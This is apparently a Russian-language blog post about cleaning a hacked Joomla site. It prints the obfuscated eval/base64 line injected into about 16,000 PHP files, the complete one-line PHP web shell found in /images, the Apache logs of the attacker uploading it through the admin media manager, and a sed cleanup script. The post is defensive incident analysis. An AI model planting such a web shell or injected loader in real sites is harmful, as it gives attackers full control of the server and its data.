Как мы сайт от вируса лечили

БактерияОдин мой знакомый пожаловался, что его сайт периодически подглючивал. Стоит отметить, что сайт работал под управлением CMS Joomla. Я стал исследовать сервер, и мое внимание зацепила вот такая строка кода в одном из php-файлов:

<?php eval(base64_decode("DQplcn...KfQ=="));

Внутри этого base64-кода скрывался редирект на сайт сомнительного содержания. Стало очевидно, что сайт подвергся заражению, и надо было его лечить. Беглый подсчет показал, что заражены практически все php-файлы сайта – вхождений такой строки было около 16 тысяч. Под катом несколько шагов, которые я предпринял для устранения этой проблемы.

После непродолжительных поисков был найден крайне подозрительный файл post.php в каталоге /images, вот все его содержимое:

<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

Многие из вас сразу поймут, что делает этот файл – это простейший shell, через который можно делать практически все, что угодно с сайтом – изменять файловую систему, просматривать содержимое базы данных и т.п. Именно с помощью этого шелла и были внесены упомянутые выше включения зловредного кода.
Нахождение этого файла в каталоге images навело на мысль, что файл был залит с помощью какого-то компонента с функцией загрузки файлов на сервер (upload).
Обратил внимание на дату создания файла. Подняв логи Apache за этот период времени, я увидел там следующее:

203.0.113.113 - - [10/Jun/2012:12:48:07 +0200] "GET /administrator/index.php HTTP/1.1" 200 4899 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:07 +0200] "POST /administrator/index.php HTTP/1.1" 303 238 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:08 +0200] "GET /administrator/index.php HTTP/1.1" 200 28458 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:08 +0200] "GET /administrator/index.php?option=com_config&view=component&component=com_media&path=&tmpl=component HTTP/1.1" 200 37126 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:09 +0200] "POST /administrator/index.php?option=com_config HTTP/1.1" 303 308 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:09 +0200] "GET /administrator/index.php?option=com_config&view=close&tmpl=component HTTP/1.1" 200 1243 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:10 +0200] "GET /administrator/index.php?option=com_media HTTP/1.1" 200 26839 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:10 +0200] "POST /administrator/index.php?option=com_media&task=file.upload&tmpl=component&0ea55a9e1cf4328e177ab221abe93d9d=deq33kvthuq7e7dg9vh8085he5&d1c1330b5390935bd66008c6bf5bdc40=1&format=json HTTP/1.1" 200 392 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729)"
203.0.113.113 - - [10/Jun/2012:12:48:11 +0200] "POST /images/post.php HTTP/1.1" 200 193 "-" "-"

После этого стал очевиден сценарий развития событий: некто попросту зашел в админку, загрузил в каталог images свой shell-код, после чего стал им беспрепятственно пользоваться. Расспросив владельца сайта, мои опасения подтвердились – на тот момент на админку сайта стоял стандартный пароль, который было нетрудно подобрать злоумышленникам.

Я удалил файл post.php, а остальные файлы вылечил с помощью такого скрипта:

#!/bin/sh
LS=`grep -R eval\(base64 /var/www/sitename.ru | sed 's/:.*//'`
for FILE in ${LS}; do
  echo $FILE
  sed -i 's/ eval(base64_decode("DQplcn...KfQ=="));//' $FILE
done

Возможно, скрипт можно написать и более лаконично, но я решил действовать надежнее.

Мораль сей басни такова: обновляйте свои CMS-движки и не используйте простых паролей!

Похожие статьи

101 thoughts on “Как мы сайт от вируса лечили”

Leave a Reply

Your email address will not be published. Required fields are marked *